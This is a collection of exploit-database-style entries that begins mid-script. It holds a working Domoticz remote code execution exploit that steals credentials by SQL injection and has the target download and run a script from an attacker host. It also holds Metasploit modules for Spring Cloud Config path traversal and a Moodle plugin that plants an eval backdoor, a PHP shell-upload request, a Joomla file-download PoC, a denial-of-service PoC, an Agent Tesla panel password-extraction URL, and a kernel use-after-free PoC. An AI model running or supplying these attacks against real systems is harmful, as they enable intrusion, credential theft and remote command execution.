    r = session.get(url_camjson)
    cams = json.loads(r.text)
    if cams['status'] == 'OK' and 'result' in cams:
        for cam in cams['result']:
            if cam['ImageURL']=='uvccapture.cgi':
                return cam
    return None

# Prompt the user and ask if continue or not
def prompt_msg(msg):
    print '[+] WARNING: ' + msg
    if not args.f and not raw_input('[+] Continue? [y/N]: ') in ["y","Y"]:
        exit(0)
    return None

# Embed the commands in a zip icon file (-zipcmd)
def create_zip(commandsline):
    zipname = 'iconpackfake.zip'
    with zipfile.ZipFile(zipname, 'w') as zip:
        zip.writestr('icons.txt', "fakeicon;Button fakeicon;fake")
        zip.writestr('fakeicon.png', commandsline)
        zip.writestr('fakeicon48_On.png', commandsline)
        zip.writestr('fakeicon48_Off.png', commandsline)
    return zipname

# HTTP server that reply once with the content of the script
class SingleHandler(BaseHTTPServer.BaseHTTPRequestHandler):
    respbody = ""
    def do_GET(self):
        self.send_response(200)
        self.send_header('Content-type', 'text/html')
        self.end_headers()
        self.wfile.write(self.respbody)
        return None
    def log_request(self, code):
        pass

#--------------------------------------------------------------------
# INITIALIZATION
#--------------------------------------------------------------------
parser = argparse.ArgumentParser(
    description="""Unauthenticated Remote Command Execution on Domoticz!
    (version <= 4.10577) Bypass authentication, inject os commands and execute them!""",
    epilog="""The default mode (1) insert the commands in a script and reply 
    with it once to an HTTP request, use -H address and -P port.
    The -zipcmd (2) or -direct (3) option override the default mode.""")
parser.add_argument('-noexec', action='store_true', help='no cmd injection, just steal credentials')
parser.add_argument('-zipcmd', action='store_true', help='upload a zip icon pack with commands inside (2)')
parser.add_argument('-direct', action='store_true', help='inject commands directly in uvc params (3)')
parser.add_argument('-H', dest='lhost', type=str, help='address/name of attacker host in default mode (1)')
parser.add_argument('-P', dest='lport', type=int, help='tcp port of attacker host in default mode (1)')
parser.add_argument('-path', dest='path', type=str, default='/src/domoticz',
    help='change root path of domoticz to find the uploaded icon(script). Useful only with -zipcmd option')
parser.add_argument('-f', action='store_true', help='shut up and do it')
parser.add_argument('url', metavar='URL', nargs=1, type=str, help='target URL e.g.: http://localhost:8080/')
parser.add_argument('cmd', metavar='cmd', nargs='+', type=str, help='os command to execute, '
    'send it in background or do a short job, the domoticz web server will hang during execution')
args  = parser.parse_args()
if not(args.direct or args.zipcmd) and (args.lhost is None or args.lport is None):
    print '[-] Default mode needs host (-H) and port (-P) of attacker to download the commands'
    exit(0)
username = ''
password = ''
cookies = dict()
noauth  = True
sqlpref = 'UNION SELECT sValue FROM Preferences WHERE Key="%s" -- '
cmd = args.cmd
url = args.url[0][:-1] if args.url[0][-1]=='/' else args.url[0]
url_sqlinj  = url + '/images/floorplans/plan?idx=1 '
url_login   = url + '/json.htm?type=command&param=logincheck&username=%s&password=%s&rememberme=true'
url_getconf = url + '/json.htm?type=settings'
url_setconf = url + '/storesettings.webem'
url_iconupl = url + '/uploadcustomicon'
url_camjson = url + '/json.htm?type=cameras'
url_camlive = url + '/camsnapshot.jpg?idx='
url_camadd  = url + '/json.htm?type=command&param=addcamera&address=127.0.0.1&port=8080' \
    '&name=uvccam&enabled=true&username=&password=&imageurl=dXZjY2FwdHVyZS5jZ2k%3D&protocol=0'
cmd_zipicon = ['chmod 777 %s/www/images/fakeicon48_On.png' % args.path,
    '%s/www/images/fakeicon48_On.png' % args.path]
cmd_default = ['curl %s -o /tmp/myexec.sh -m 5', 'chmod 777 /tmp/myexec.sh', '/tmp/myexec.sh']

#--------------------------------------------------------------------
# AUTHENTICATION BYPASS
#--------------------------------------------------------------------
session = requests.Session()
r = session.get(url_getconf)
if r.status_code == 401:
    noauth = False
    username = steal_dbdata('WebUserName')
    password = steal_dbdata('WebPassword')
    cookies['SID'] = dologin(username, password)
    r = session.get(url_getconf)
if args.noexec is True:
    exit(0)
settings = json.loads(r.text)
settings.pop('UVCParams', None)
#--------------------------------------------------------------------
# Fix necessary to not break or lose settings
chn = {'WebTheme':'Themes','UseAutoBackup':'enableautobackup','UseAutoUpdate':'checkforupdates'}
for k in chn:
    settings[chn[k]] = settings.pop(k, None)
sub = settings.pop('MyDomoticzSubsystems', 0)
if sub >= 4:
    settings['SubsystemApps'] = 4; sub -= 4
if sub >= 2:
    settings['SubsystemShared'] = 2; sub -= 2
if sub == 1:
    settings['SubsystemHttp'] = 1  
try:    
    settings['HTTPURL'] = base64.b64decode(settings['HTTPURL'])
    settings['HTTPPostContentType'] = base64.b64decode(settings['HTTPPostContentType'])
    settings['Latitude'] = settings['Location']['Latitude']
    settings['Longitude'] = settings['Location']['Longitude']
    settings.pop('Location', None)
except:
    pass
toOn  = ['allow','accept','hide','enable','disable','trigger','animate','show']
toOn += ['usee','floorplanfullscreen','senderrorsasn','emailasa','checkforupdates']
for k in [x for x in settings if any([y for y in toOn if y in x.lower()])]:
    if(str(settings[k]) == '1'):
        settings[k] = 'on'
    elif(str(settings[k]) == '0'):
        settings.pop(k, None)

#--------------------------------------------------------------------
# COMMAND INJECTION
#--------------------------------------------------------------------
cmdwrap = '\n'.join(['#!/bin/bash'] + cmd)
payload = urllib.urlencode(settings) + '&'
if cmd[-1][-1] != '&' and not args.direct:
    prompt_msg('if not sent in background the commands may block domoticz')
if args.direct:
    prompt_msg('in direct mode & pipe redirect are not allowed (may block domoticz)')
elif args.zipcmd:
    fakezip = create_zip(cmdwrap)
    files = [('file',(fakezip, open(fakezip,'rb'), 'application/zip'))]
    r = session.post(url_iconupl, files=files)
    cmd = cmd_zipicon
else:
    httpd = BaseHTTPServer.HTTPServer(("", args.lport), SingleHandler)
    SingleHandler.respbody = cmdwrap
    thread.start_new_thread(httpd.handle_request, ())
    cmd_default[0] = cmd_default[0] % ('http://%s:%d/' % (args.lhost,args.lport))
    cmd = cmd_default
# Encode the space and send the others in clear (chars like <>&;| not allowed)
cmdencode = '\n'.join([x.replace(' ', '+') for x in cmd])
payload += 'UVCParams=-d+/dev/aaa\n%s\n#' % (cmdencode)
req = requests.Request('POST', url_setconf, data=payload, cookies=cookies)
r = session.send(req.prepare())
print '[+] Commands successfully injected'

#--------------------------------------------------------------------
# COMMAND EXECUTION
#--------------------------------------------------------------------
if noauth:
    session.cookies.clear() # fix if authentication is disabled
cam = get_uvc_cam()
if cam is None:
    print '[+] Adding new UVC camera'
    r = session.get(url_camadd)
    cam = get_uvc_cam()
print '[+] Execution on cam with idx: ' + str(cam['idx'])
r = session.get(url_camlive + str(cam['idx']))
# Restore the default UVC parameters (like a ninja)
settings['UVCParams'] = '-S80 -B128 -C128 -G80 -x800 -y600 -q100'
session.post(url_setconf, data=settings)
print '[+] Done! Restored default uvc params!'
            
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Auxiliary::Report
  include Msf::Auxiliary::Scanner
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'        => 'Spring Cloud Config Server Directory Traversal',
      'Description' => %q{
        This module exploits an unauthenticated directory traversal
vulnerability
        which exists in Spring Cloud Config versions 2.1.x prior to 2.1.2,
        versions 2.0.x prior to 2.0.4, and versions 1.4.x prior to 1.4.6.
Spring
        Cloud Config listens by default on port 8888.
      },
      'References'  =>
        [
          ['CVE', '2019-3799'],
          ['URL', 'https://pivotal.io/security/cve-2019-3799']
        ],
      'Author'      =>
        [
          'Vern', # Vulnerability discovery
          'Dhiraj Mishra' # Metasploit module
        ],
      'DisclosureDate' => '2019-04-17',
      'License'        => MSF_LICENSE
    ))

    register_options(
      [
        Opt::RPORT(8888),
        OptString.new('FILEPATH', [true, "The path to the file to read",
'/etc/passwd']),
        OptInt.new('DEPTH', [ true, 'Depth for Path Traversal', 13 ])
      ])
  end

  def data
    Rex::Text.rand_text_alpha(3..8)
  end

  def run_host(ip)
    filename = datastore['FILEPATH']
    traversal = "#{"..%252F" * datastore['DEPTH']}#{filename}"
    uri = "/#{data}/#{data}/master/#{traversal}"

    res = send_request_raw({
      'method' => 'GET',
      'uri'    => uri
    })

    unless res && res.code == 200
      print_error('Nothing was downloaded')
      return
    end

    vprint_good("#{peer} - #{res.body}")
    path = store_loot(
      'springcloud.traversal',
      'text/plain',
      ip,
      res.body,
      filename
    )
    print_good("File saved in: #{path}")
  end
end
            
========================================================================================                  
| Fleet Manager hyvikk Shell Upload
  # Date: 29-04-2019
  # Title    : Fleet Manager by hyvikk All versions                  
| # Author   : saxgy1331  - Kaieteur-Falls-1331                                                                           
| # Vendor Homepage:  https://codecanyon.net/item/fleet-manager/20051839                     
| # Tested on: Windows, Linux 
| # Bug      : Shell upload                                                                     
======================  =================================
 # Exploit  : 
 
You can upload a php shell file as a vehicle image

http://localhost/delivery/public/vehicles/create   

After uploading the image you the shell will be saved in the /uploads/ folder with the id code 
go  http://localhost/delivery/public/vehicles/ right click on the recent "php shell photo" you have uploaded Boom!

POST /good/vehicles HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:66.0) Gecko/20100101 Firefox/66.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/good/vehicles/create
Content-Type: multipart/form-data; boundary=---------------------------191691572411478
Content-Length: 1926
Connection: keep-alive
Cookie: PHPSESSID= ; XSRF-TOKEN= %3D%3D; laravel_session= 
Upgrade-Insecure-Requests: 1

 -----------------------------191691572411478
 Content-Disposition: form-data; name="_token"

 9gGkjP2AeqfijIpC6hH7TSxGDS7RAoily8pEdM9R
 -----------------------------191691572411478
 Content-Disposition: form-data; name="user_id"

 1
 -----------------------------191691572411478
 Content-Disposition: form-data; name="make"

 test1234
 -----------------------------191691572411478
 Content-Disposition: form-data; name="model"

 test12345
 -----------------------------191691572411478
 Content-Disposition: form-data; name="type"

 Hatchback
 -----------------------------191691572411478
 Content-Disposition: form-data; name="year"

 5
 -----------------------------191691572411478
 Content-Disposition: form-data; name="int_mileage"

 3
 -----------------------------191691572411478
 Content-Disposition: form-data; name="vehicle_image"; filename="1331.php"
 Content-Type: application/octet-stream

 <?php
 echo "1331";
 ?>
 -----------------------------191691572411478
 Content-Disposition: form-data; name="reg_exp_date"

 2019-04-24
 -----------------------------191691572411478
 Content-Disposition: form-data; name="in_service"

 1
 -----------------------------191691572411478
 Content-Disposition: form-data; name="engine_type"

 Petrol
 -----------------------------191691572411478
 Content-Disposition: form-data; name="horse_power"

 1
 -----------------------------191691572411478
 Content-Disposition: form-data; name="color"

 green
 -----------------------------191691572411478
 Content-Disposition: form-data; name="vin"

 1
 -----------------------------191691572411478
 Content-Disposition: form-data; name="license_plate"

 1331
 -----------------------------191691572411478
 Content-Disposition: form-data; name="lic_exp_date"

 2019-04-23
 -----------------------------191691572411478
 Content-Disposition: form-data; name="group_id"

 1
 -----------------------------191691572411478--
 
 
Example  
http://localhost/delivery/public/uploads/122030d1-ba55-4bfe-9533-44955d47b433.php  

Fix

public function uploadPhoto(Request $request)
{
    $this->validate($request, [
        'photo' => 'mimes:jpeg,png,bmp,tiff |max:4096',
    ],
        $messages = [
            'required' => 'The :attribute field is required.',
            'mimes' => 'Only jpeg, png, bmp,tiff are allowed.'
        ]
    );
 // Now save your file to the storage and file details at database.
}

            
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
 
  include Msf::Exploit::Remote::HttpClient
 
  def initialize(info = {})
    super(update_info(info,
      'Name' => "Moodle 3.6.3 - 'Install Plugin' Remote Command Execution",
      'Description' => %q(
        This module exploits a command execution vulnerability in Moodle 3.6.3.
        An attacker can upload malicious file using the plugin installation area.
        Plugins must be hosted accommodate "version.php" and "theme_{plugin name}.php" files.
        After routine check, the moodle will accept the appropriate plugin file.
        Plugin control can be bypassed and malicious code can be placed in the files contained in the plugin.
        The module receives a shell session from the server by placing malicious code in the language file.

        You must have an admin account to exploit this vulnerability.
      ),
      'License' => MSF_LICENSE,
      'Author' =>
        [
          'AkkuS <Özkan Mustafa Akkuş>', # Discovery & PoC & Metasploit module @ehakkus
        ],
      'References' =>
        [
          ['URL', 'http://pentest.com.tr/exploits/Moodle-3-6-3-Install-Plugin-Remote-Command-Execution.html'],
          ['URL', 'https://moodle.org']
        ],
      'Platform' => 'php',
      'Arch' => ARCH_PHP,
      'Targets' => [['Automatic', {}]],
      'Privileged' => false,
      'DisclosureDate' => "Apr 28 2019",
      'DefaultTarget' => 0))
 
    register_options(
      [
        OptString.new('TARGETURI', [true, "Base Moodle directory path", '/']),
        OptString.new('USERNAME', [true, "Admin username to authenticate with", 'admin']),
        OptString.new('PASSWORD', [false, "Admin password to authenticate with", 'admin'])
      ]
    )
  end

  def create_plugin_file
    # There are syntax errors in creating zip file. So the payload was sent as base64.
    plugin_file      = Rex::Zip::Archive.new
    @header       = Rex::Text.rand_text_alpha_upper(4)
    @plugin_name  = Rex::Text.rand_text_alpha_lower(7)

    path = "#{@plugin_name}/version.php"
    path2 = "#{@plugin_name}/lang/en/theme_#{@plugin_name}.php"
    # "$plugin->version" and "$plugin->component" contents are required to accept Moodle plugin.
    plugin_file.add_file(path, "<?php $plugin->version = 2018121704; $plugin->component = 'theme_#{@plugin_name}';")
    plugin_file.add_file(path2, "<?php eval(base64_decode($_SERVER['HTTP_#{@header}'])); ?>")
    plugin_file.pack

  end

  def exec_code(cookie)
    handler
    # Base64 was encoded in "PHP". This process was sent as "HTTP headers".
    send_request_cgi({
      'method' => 'GET',
      'cookie' => cookie,
      'uri' => normalize_uri(target_uri.path, "theme", @plugin_name, "lang", "en", "theme_#{@plugin_name}.php"),
      'raw_headers' => "#{@header}: #{Rex::Text.encode_base64(payload.encoded)}\r\n"
    })

  end

  def upload(cookie)
    # The beginning of the adventure o_O
    print_status("Plugin zip file is being created and loaded...")
    res = send_request_cgi(
      'method' => 'GET',
      'cookie' => cookie,
      'uri' => normalize_uri(target_uri.path, 'admin', 'tool', 'installaddon', 'index.php')
    )

    @sesskey = res.body.split('"sesskey":"')[1].split('"')[0] # fetch session info
    @itemid = res.body.split('amp;itemid=')[1].split('&')[0] # fetch item for upload
    @author = res.body.split('title="View profile">')[1].split('<')[0] # fetch admin account profile info
    @clientid = res.body.split('client_id":"')[1].split('"')[0] # fetch client info
    
    # creating multipart data for the upload plugin file
    pdata = Rex::MIME::Message.new
    pdata.add_part(create_plugin_file, 'application/zip', nil, "form-data; name=\"repo_upload_file\"; filename=\"#{@plugin_name}.zip\"")
    pdata.add_part('', nil, nil, 'form-data; name="title"')
    pdata.add_part(@author, nil, nil, 'form-data; name="author"')
    pdata.add_part('allrightsreserved', nil, nil, 'form-data; name="license"')
    pdata.add_part(@itemid, nil, nil, 'form-data; name="itemid"')
    pdata.add_part('.zip', nil, nil, 'form-data; name="accepted_types[]"')
    pdata.add_part('4', nil, nil, 'form-data; name="repo_id"')
    pdata.add_part('', nil, nil, 'form-data; name="p"')
    pdata.add_part('', nil, nil, 'form-data; name="page"')
    pdata.add_part('filepicker', nil, nil, 'form-data; name="env"')
    pdata.add_part(@sesskey, nil, nil, 'form-data; name="sesskey"')
    pdata.add_part(@clientid, nil, nil, 'form-data; name="client_id"')
    pdata.add_part('-1', nil, nil, 'form-data; name="maxbytes"')
    pdata.add_part('-1', nil, nil, 'form-data; name="areamaxbytes"')
    pdata.add_part('1', nil, nil, 'form-data; name="ctx_id"')
    pdata.add_part('/', nil, nil, 'form-data; name="savepath"')
    data = pdata.to_s
 
    res = send_request_cgi({
      'method' => 'POST',    
      'data'  => data,
      'ctype' => "multipart/form-data; boundary=#{pdata.bound}",
      'cookie' => cookie,
      'uri' => normalize_uri(target_uri.path, 'repository', 'repository_ajax.php?action=upload')     
    })

    if res.body =~ /draftfile.php/
      print_good("Plugin #{@plugin_name}.zip file successfully uploaded to target!")
      print_status("Attempting to integrate the plugin...")
      @zipfile = res.body.split('draft\/')[1].split('\/')[0]
      plugin_integration(cookie)
    else
      fail_with(Failure::NoAccess, "Something went wrong!")
    end
  end

  def plugin_integration(cookie)

    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'admin', 'tool', 'installaddon', 'index.php'),
      'cookie'   => cookie,
      'vars_post' => {
        'sesskey' => @sesskey,
        '_qf__tool_installaddon_installfromzip_form' => '1',
        'mform_showmore_id_general' => '0',
        'mform_isexpanded_id_general' => '1',
        'zipfile' => @zipfile,
        'plugintype' => 'theme',
        'rootdir' => '',
        'submitbutton' => 'Install+plugin+from+the+ZIP+file'
      }
    )

    if res.body =~ /installzipstorage/
      print_good("Plugin successfully integrated!")
      storage = res.body.split('installzipstorage=')[1].split('&')[0]

      res = send_request_cgi(
        'method' => 'POST',
        'uri' => normalize_uri(target_uri.path, 'admin', 'tool', 'installaddon', 'index.php'),
        'cookie'   => cookie,
        'vars_post' => {
          'installzipcomponent' => "theme_#{@plugin_name}",
          'installzipstorage' => storage,
          'installzipconfirm' => '1',
          'sesskey' => @sesskey
        }
      )
      exec_code(cookie)

    else
      fail_with(Failure::NoAccess, "Something went wrong!")
    end
  end
 
  def login(uname, pass)
    # 1st request to get MoodleSession and LoginToken
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'login', 'index.php')
    )
    cookie = res.get_cookies
    token = res.body.split('logintoken" value="')[1].split('"')[0]

    # 2nd request to login validation
    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'login', 'index.php'),
      'cookie'   => cookie,
      'vars_post' => {
        'anchor' => '',
        'logintoken' => token,
        'username' => uname,
        'password' => pass
      }
    )

    cookie = res.get_cookies
    location = res.redirection.to_s
    if res and res.code = 303 && location.include?('testsession')
      return cookie     
    end 

    fail_with(Failure::NoAccess, "Authentication was unsuccessful with user: #{uname}")
    return nil
  end

  def check 
    # Basic check 
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'lib', 'upgrade.txt')
    )

    if res && res.code == 200 && res.body =~ /=== 3.7/
      return Exploit::CheckCode::Safe
    else
      return Exploit::CheckCode::Appears
    end 
  end
 
  def exploit
    cookie = login(datastore['USERNAME'], datastore['PASSWORD'])
    print_good("Authentication was successful with user: #{datastore['USERNAME']}")
    upload(cookie) # start the adventure
  end
##
# The end of the adventure (o_O) // AkkuS
##
end
            
# Exploit Title: Joomla! Component JiFile 2.3.1 - Arbitrary File Download
# Exploit Author: Mr Winst0n
# Author E-mail: manamtabeshekan@gmail.com
# Discovery Date: April 28, 2019
# Vendor Homepage: http://www.isapp.it
# Software Link : https://extensions.joomla.org/extensions/extension/search-a-indexing/site-search/jifile/
# Dork: inurl:index.php?option=com_jifile
# Tested Version: 2.3.1
# Tested on: Kali linux, Windows 8.1 


# PoC:


GET /web/index.php?option=com_jifile&task=filesystem.download&filename=index.php HTTP/1.1  <== YOUR FILE HERE
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: 7a9abe45881a5cc968ac0e7c857d8a72=6a377b3429e0b0c22c3abb8f3a078534
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1


HTTP/1.1 200 OK
Date: Sun, 28 Apr 2019 17:37:16 GMT
Server: Apache
Pragma: public
Cache-Control: must-revalidate, post-check=0, pre-check=0
Expires: 0
Content-Transfer-Encoding: binary
Content-Disposition: attachment; filename="index.php"; modification-date="1418190008"; size=1319;
Set-Cookie: c90ff18cda17f7cf5069ad1e830756c6=9a1f1c7e9bc241c66e7ad65ca0dd7624; path=/; secure
Content-Length: 1319
Connection: close
Content-Type: application/x-php

FILE_CONTENT
            
#Exploit Title: SpotAuditor 5.2.6 - 'Name' Denial of Service (PoC)
#Discovery by: Victor Mondragón
#Discovery Date: 2019-04-27
#Vendor Homepage: www.nsauditor.com 
#Software Link: http://spotauditor.nsauditor.com/downloads/spotauditor_setup.exe
#Tested Version: 5.2.6
#Tested on: Windows Windows 10 Single Language x64 / 7 x64 Service Pack 1

#Steps to produce the crash:
#1.- Run python code: Spotauditor_name_5.2.6.py
#2.- Open Spotauditor_name.txt and copy content to clipboard
#3.- Open SpotAuditor
#4.- Select "Register" > "Enter Registration Code..."
#5.- In "Name" paste Clipboard
#6.- In Key type "test"
#7.- Click "Ok"
#8.- Crarshed
 
cod = "\x41" * 300
 
f = open('Spotauditor_name.txt', 'w')
f.write(cod)
f.close()
            
################################
# Exploit Title: Agent Tesla Botnet - Information Disclosure Disclosure Vulnerability
# Google Dork: n/a
# Date: 26/11/2018
# Exploit Author: n4pst3r
# Vendor Homepage: unkn0wn
# Software Link: http://www.agenttesla.com/ ¡ Down !
# Version: unkn0wn
# Tested on: Windows 10, debian 7
# CVE : n/a
# Greetz: Shell.root, Griever, Telibles
################################
# Vuln-Code: http://127.0.0.1/WebPanel/server_side/scripts/server_processing.php

$table = $_GET['table'];

// Table's primary key
$primaryKey = $_GET['primary'];

if(isset($_GET['where'])){
	$where = base64_decode($_GET['where']);
}else{
	$where = "";
}

$idArray = unserialize(urldecode($_GET['clmns']));

################################
PoC Extract full passwords:
http://127.0.0.1/WebPanel/server_side/scripts/server_processing.php?table=passwords&primary=password_id&clmns=a%3A6%3A%7Bi%3A0%3Ba%3A2%3A%7Bs%3A2%3A%22db%22%3Bs%3A11%3A%22server_time%22%3Bs%3A2%3A%22dt%22%3Bs%3A11%3A%22server_time%22%3B%7Di%3A1%3Ba%3A2%3A%7Bs%3A2%3A%22db%22%3Bs%3A7%3A%22pc_name%22%3Bs%3A2%3A%22dt%22%3Bs%3A7%3A%22pc_name%22%3B%7Di%3A2%3Ba%3A2%3A%7Bs%3A2%3A%22db%22%3Bs%3A6%3A%22client%22%3Bs%3A2%3A%22dt%22%3Bs%3A6%3A%22client%22%3B%7Di%3A3%3Ba%3A2%3A%7Bs%3A2%3A%22db%22%3Bs%3A4%3A%22host%22%3Bs%3A2%3A%22dt%22%3Bs%3A4%3A%22host%22%3B%7Di%3A4%3Ba%3A2%3A%7Bs%3A2%3A%22db%22%3Bs%3A8%3A%22username%22%3Bs%3A2%3A%22dt%22%3Bs%3A8%3A%22username%22%3B%7Di%3A5%3Ba%3A2%3A%7Bs%3A2%3A%22db%22%3Bs%3A3%3A%22pwd%22%3Bs%3A2%3A%22dt%22%3Bs%3A3%3A%22pwd%22%3B%7D%7D

PoC Extract full Keystrokes:
http://etvidanueva.com/photos/images/WebPanel/server_side/scripts/server_processing.php?table=logs&primary=log_id&clmns=a%3A6%3A%7Bi%3A0%3Ba%3A2%3A%7Bs%3A2%3A%22db%22%3Bs%3A6%3A%22log_id%22%3Bs%3A2%3A%22dt%22%3Bs%3A6%3A%22log_id%22%3B%7Di%3A1%3Ba%3A2%3A%7Bs%3A2%3A%22db%22%3Bs%3A11%3A%22server_time%22%3Bs%3A2%3A%22dt%22%3Bs%3A11%3A%22server_time%22%3B%7Di%3A2%3Ba%3A2%3A%7Bs%3A2%3A%22db%22%3Bs%3A4%3A%22hwid%22%3Bs%3A2%3A%22dt%22%3Bs%3A4%3A%22hwid%22%3B%7Di%3A3%3Ba%3A2%3A%7Bs%3A2%3A%22db%22%3Bs%3A7%3A%22pc_name%22%3Bs%3A2%3A%22dt%22%3Bs%3A7%3A%22pc_name%22%3B%7Di%3A4%3Ba%3A2%3A%7Bs%3A2%3A%22db%22%3Bs%3A3%3A%22log%22%3Bs%3A2%3A%22dt%22%3Bs%3A3%3A%22log%22%3B%7Di%3A5%3Ba%3A2%3A%7Bs%3A2%3A%22db%22%3Bs%3A9%3A%22ip_addres%22%3Bs%3A2%3A%22dt%22%3Bs%3A9%3A%22ip_addres%22%3B%7D%7D
            
elf_core_dump() has a comment back from something like 2.5.43-C3 that says:

        /*
         * We no longer stop all VM operations.
         * 
         * This is because those proceses that could possibly change map_count
         * or the mmap / vma pages are now blocked in do_exit on current
         * finishing this core dump.
         *
         * Only ptrace can touch these memory addresses, but it doesn't change
         * the map_count or the pages allocated. So no possibility of crashing
         * exists while dumping the mm->vm_next areas to the core file.
         */

However, since commit 86039bd3b4e6 ("userfaultfd: add new syscall to provide
memory externalization", introduced in v4.3), that's no longer true; the
following functions can call vma_merge() on another task's VMAs while holding
the corresponding mmap_sem for writing:

 - userfaultfd_release() [->release handler]
 - userfaultfd_register() [invoked via ->unlocked_ioctl handler]
 - userfaultfd_unregister() [invoked via ->unlocked_ioctl handler]

This means that VMAs can disappear from under elf_core_dump().


I see two potential ways to fix this, but I'm not sure whether either of them is
good:

1. Let elf_core_dump() hold a read lock on the mmap_sem across the page-dumping
   loop. This would mean that the mmap_sem can be blocked indefinitely by a
   userspace process, and e.g. userfaultfd_release() could block the task or
   global workqueue it's running on (depending on where the final fput()
   happened) indefinitely, which seems potentially bad from a denial-of-service
   perspective?
2. Let coredump_wait() set a flag on the mm_struct before dropping the mmap_sem
   that says "this mm_struct is going away, keep your hands off";
   let the userfaultfd ioctl handlers check for the flag and bail out as if the
   mm_struct was already dead;
   hack userfaultfd_release() so that it only calls vma_merge() if the flag
   hasn't been set;
   and because I feel icky about concurrent reads and writes of bitmasks without
   explicit annotations, either make the vm_flags accesses in
   userfaultfd_release() and in everything called from elf_core_dump() atomic
   (because userfaultfd_release will clear bits in them concurrently with reads
   from elf_core_dump()) or let elf_core_dump() take the mmap_sem for reading
   while looking at vm_flags.
   If the fix goes in this direction, it should probably come with a big warning
   on top of the definition of mmap_sem, or something like that.


Here's a simple proof-of-concept:
======================================================================
user@debian:~/uffd_coredump$ cat coredump_helper.c
#include <unistd.h>
#include <stdlib.h>
#include <err.h>
#include <stdbool.h>

int main(void) {
  char buf[1024];
  size_t total = 0;
  bool slept = false;
  while (1) {
    int res = read(0, buf, sizeof(buf));
    if (res == -1) err(1, "read");
    if (res == 0) return 0;
    total += res;
    if (total > 1024*1024 && !slept) {
      sleep(10);
      slept = true;
    }
  }
}
user@debian:~/uffd_coredump$ gcc -o coredump_helper coredump_helper.c
user@debian:~/uffd_coredump$ cat set_helper.sh 
#!/bin/sh
echo "|$(realpath ./coredump_helper)" > /proc/sys/kernel/core_pattern
user@debian:~/uffd_coredump$ sudo ./set_helper.sh 
user@debian:~/uffd_coredump$ cat dumpme.c 
#define _GNU_SOURCE
#include <string.h>
#include <stdlib.h>
#include <linux/userfaultfd.h>
#include <sys/ioctl.h>
#include <sys/syscall.h>
#include <err.h>
#include <unistd.h>
#include <sys/mman.h>

int main(void) {
  // set up an area consisting of half normal anon memory, half present userfaultfd region
  void *area = mmap(NULL, 1024*1024*2, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
  if (area == MAP_FAILED) err(1, "mmap");
  memset(area, 'A', 1024*1024*2);
  int uffd = syscall(__NR_userfaultfd, 0);
  if (uffd == -1) err(1, "userfaultfd");
  struct uffdio_api api = { .api = 0xAA, .features = 0 };
  if (ioctl(uffd, UFFDIO_API, &api)) err(1, "API");
  struct uffdio_register reg = {
    .range = { .start = (unsigned long)area+1024*1024, .len = 1024*1024 },
    .mode = UFFDIO_REGISTER_MODE_MISSING
  };
  if (ioctl(uffd, UFFDIO_REGISTER, &reg)) err(1, "REGISTER");

  // spawn a child that can do stuff with the userfaultfd
  pid_t child = fork();
  if (child == -1) err(1, "fork");
  if (child == 0) {
    sleep(3);
    if (ioctl(uffd, UFFDIO_UNREGISTER, &reg.range)) err(1, "UNREGISTER");
    exit(0);
  }

  *(volatile char *)0 = 42;
}
user@debian:~/uffd_coredump$ gcc -o dumpme dumpme.c
user@debian:~/uffd_coredump$ ./dumpme 
Segmentation fault (core dumped)
user@debian:~/uffd_coredump$ 
======================================================================

dmesg output:
======================================================================
[  128.977354] dumpme[1116]: segfault at 0 ip 0000563e14789a6e sp 00007ffed407cd80 error 6 in dumpme[563e14789000+1000]
[  128.979600] Code: ff 85 c0 74 16 48 8d 35 d7 00 00 00 bf 01 00 00 00 b8 00 00 00 00 e8 c1 fc ff ff bf 00 00 00 00 e8 c7 fc ff ff b8 00 00 00 00 <c6> 00 2a b8 00 00 00 00 c9 c3 0f 1f 84 00 00 00 00 00 41 57 41 56
[  138.988465] ==================================================================
[  138.992696] BUG: KASAN: use-after-free in elf_core_dump+0x2063/0x20e0
[  138.994168] Read of size 8 at addr ffff8881e616ed60 by task dumpme/1116

[  138.996163] CPU: 1 PID: 1116 Comm: dumpme Not tainted 5.0.0-rc8 #292
[  138.997591] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.10.2-1 04/01/2014
[  138.999570] Call Trace:
[  139.000237]  dump_stack+0x71/0xab
[...]
[  139.001940]  print_address_description+0x6a/0x2b0
[...]
[  139.005026]  kasan_report+0x14e/0x192
[...]
[  139.006803]  elf_core_dump+0x2063/0x20e0
[...]
[  139.013876]  do_coredump+0x1072/0x17a0
[...]
[  139.027534]  get_signal+0x93c/0xa90
[  139.028400]  do_signal+0x85/0xb20
[...]
[  139.034068]  exit_to_usermode_loop+0xfb/0x120
[...]
[  139.036028]  prepare_exit_to_usermode+0x95/0xb0
[  139.037114]  retint_user+0x8/0x8
[  139.037884] RIP: 0033:0x563e14789a6e
[  139.038661] Code: ff 85 c0 74 16 48 8d 35 d7 00 00 00 bf 01 00 00 00 b8 00 00 00 00 e8 c1 fc ff ff bf 00 00 00 00 e8 c7 fc ff ff b8 00 00 00 00 <c6> 00 2a b8 00 00 00 00 c9 c3 0f 1f 84 00 00 00 00 00 41 57 41 56
[  139.042892] RSP: 002b:00007ffed407cd80 EFLAGS: 00010202
